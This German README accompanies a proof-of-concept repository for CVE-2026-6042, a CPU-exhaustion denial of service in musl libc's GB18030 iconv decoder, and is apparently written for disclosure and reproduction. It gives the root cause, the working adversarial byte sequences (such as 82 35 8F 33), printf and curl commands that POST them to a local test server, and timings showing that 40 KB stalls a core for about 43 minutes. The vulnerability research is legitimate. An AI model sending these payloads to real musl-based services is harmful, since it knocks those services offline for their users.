
Proof of Concept und End-to-End-Test von Algorithmic Complexity DoS in musl libc 0.8.0-1.2.6, zugewiesen als CVE-2026-6042
iconvGap-Skipping-Schleifen im GB18030-4-Byte-Decoder von musls iconv ermöglichen es, dass eine kleine manipulierte Eingabe unverhältnismäßig viel CPU-Zeit verbraucht. Ein 40 KB großer adversarischer Payload kann einen CPU-Kern für über 40 Minuten blockieren.
Entgegen der Aussagen in den Advisories ist der Angriffsvektor dieses Exploits offensichtlich netzwerkbasiert, nicht lokal. Dies rührt daher, dass VulDB die von ihnen zugewiesenen Schwachstellen nicht wirklich versteht.
CVSS 3.1 Vektor: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - 7.5 (Hoch)
| Feld | Detail |
|---|
| Betroffene Software | musl libc (iconv-Implementierung) |
| Betroffene Kodierungen | GB18030 (4-Byte-Sequenzen) |
| Typ | Algorithmische Komplexität / Denial of Service |
| Bestätigte Versionen | musl 1.2.5 (Alpine 3.21), musl 1.2.6 (aus dem Quellcode gebaut) |
| Wahrscheinlich betroffen | Alle musl-Versionen seit Einführung von GB18030 und UHC/CP949-Unterstützung |
| Angriffsfläche | Jeder musl-basierte Dienst, der iconv() mit nicht vertrauenswürdiger Eingabe in diesen Kodierungen aufruft |
Der GB18030-4-Byte-Decoder in musl (src/locale/iconv.c, ungefähr Zeilen 434-442) konvertiert eine 4-Byte-Eingabesequenz in einen linearen Index und durchläuft dann eine Gap-Skipping-Schleife, um diesen Index einem Unicode-Codepunkt zuzuordnen. Für jedes dekodierte Zeichen iteriert die innere Schleife über die gesamte gb18030[126][190]-Tabelle (23.940 Einträge), um zu zählen, wie viele 2-Byte-zugeordnete Codepunkte in einen gleitenden Bereich fallen.
Die Byte-Sequenz 82 35 8F 33 erzeugt einen linearen Index von 19.171, der knapp unterhalb des dichten CJK-Bereichs für vereinheitlichte Ideogramme (U+4E00-U+9FBD, ~20.902 Einträge) liegt. Die Gap-Skipping-Schleife muss dann Eintrag für Eintrag durch den gesamten dichten Block laufen, wobei ~20.905 äußere Iterationen ausgeführt werden, die jeweils alle 23.940 Tabelleneinträge scannen. Das entspricht ungefähr 500 Millionen Vergleichen pro Eingabezeichen.
Da die Kosten linear mit der Anzahl adversarischer Zeichen in der Eingabe skalieren und jedes Zeichen unabhängig die vollständige innere Schleife auslöst, beträgt die Gesamtarbeit O(n * k^2), wobei n die Anzahl der Eingabezeichen und k die Größe der Nachschlagetabelle ist.
Jedes musl-basierte System (Alpine Linux, Void Linux, postmarketOS, eingebettete/Container-Images usw.), das einen Dienst ausführt, der GB18030 oder EUC-KR aus benutzergelieferter Eingabe über iconv() transkodiert, ist anfällig für Denial of Service.
Prognostizierte Zeiten auf einem einzelnen Kern (gemessen auf Alpine 3.21 / musl 1.2.5):
| Eingabe | Zeit |
|---|---|
| 1 adversarisches Zeichen (4 Bytes) | ~0,26 s |
| 100 Zeichen (400 Bytes) | ~26 s |
| 1.000 Zeichen (4 KB) | ~4,3 min |
| 10.000 Zeichen (40 KB) | ~43 min |
Zum Vergleich: 100 harmlose GB18030-Zeichen werden in Mikrosekunden dekodiert.
| Datei | Beschreibung |
|---|---|
poc_gb18030_dos.c | Eigenständiger PoC: misst die Zeit für harmlose vs. adversarische GB18030-Dekodierung über iconv() |
server.c | Minimaler HTTP-Server, der POST-Bodies über iconv() transkodiert und so eine reale Angriffsfläche simuliert |
Dockerfile | Alpine-Linux-Container-Image, das den anfälligen Server baut und ausführt |
test.sh | End-to-End-Testskript: sendet harmlose und adversarische Payloads an den Server und vergleicht die Antwortzeiten |
iconv-Zeitmessung)Auf jedem musl-basierten System bauen und ausführen:
# Auf Alpine Linux
apk add gcc musl-dev
gcc -O2 -o poc_gb18030_dos poc_gb18030_dos.c
./poc_gb18030_dos
Oder über Docker:
docker run --rm -v "$(pwd)":/work -w /work alpine:latest \
sh -c "apk add gcc musl-dev && gcc -O2 -o poc_gb18030_dos poc_gb18030_dos.c && ./poc_gb18030_dos"
Erwartete Ausgabe: Harmlose Zeichen werden in Mikrosekunden dekodiert; ein einzelnes adversarisches Zeichen (82 35 8F 33) benötigt ~0,26 Sekunden.
Den anfälligen Server bauen und starten:
docker build -t cve-2026-6042 .
docker run --rm -p 8080:8080 cve-2026-6042
In einem anderen Terminal das Test-Harness ausführen:
./test.sh
Oder einen Payload manuell senden:
# Harmlos: 100 Zeichen, sollte sofort zurückkommen
printf '\x81\x30\x81\x30%.0s' $(seq 1 100) > /tmp/benign.bin
curl -X POST -H "Content-Type: text/plain; charset=gb18030" \
--data-binary @/tmp/benign.bin http://localhost:8080/
# Adversarisch: nur 5 Zeichen, sollte >1 Sekunde dauern
printf '\x82\x35\x8F\x33%.0s' $(seq 1 5) > /tmp/adversarial.bin
curl -X POST -H "Content-Type: text/plain; charset=gb18030" \
--data-binary @/tmp/adversarial.bin http://localhost:8080/
Der X-Transcode-Time-Antwortheader meldet die Zeit, die innerhalb von iconv() verbracht wurde.
Der Screenshot unten zeigt die lineare Skalierung adversarischer Eingaben gegen den Docker-Server: 20 Zeichen (80 Bytes) benötigen ~5,2 s, 80 Zeichen (320 Bytes) ~20,8 s und 160 Zeichen (640 Bytes) ~41,5 s.

| Sequenz | Linearer Index | Verhalten |
|---|---|---|
81 30 81 30 (harmlos) | 128 | Niedriger Codepunkt; Gap-Skip-Schleife terminiert schnell |
82 35 8F 33 (adversarisch) | 19.171 | Liegt knapp unterhalb des dichten CJK-Blocks; löst ~500M Vergleiche aus |
82 35 90 30 (adversarisch) | ~19.200 | Gleiche Region, ähnliche Kosten |
Dieses Repository wird zu Zwecken der Sicherheitsforschung und verantwortungsvollen Offenlegung veröffentlicht. Der Code wird ausschließlich bereitgestellt, um CVE-2026-6042 zu reproduzieren und zu verifizieren. Verwenden Sie ihn nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testautorisierung haben.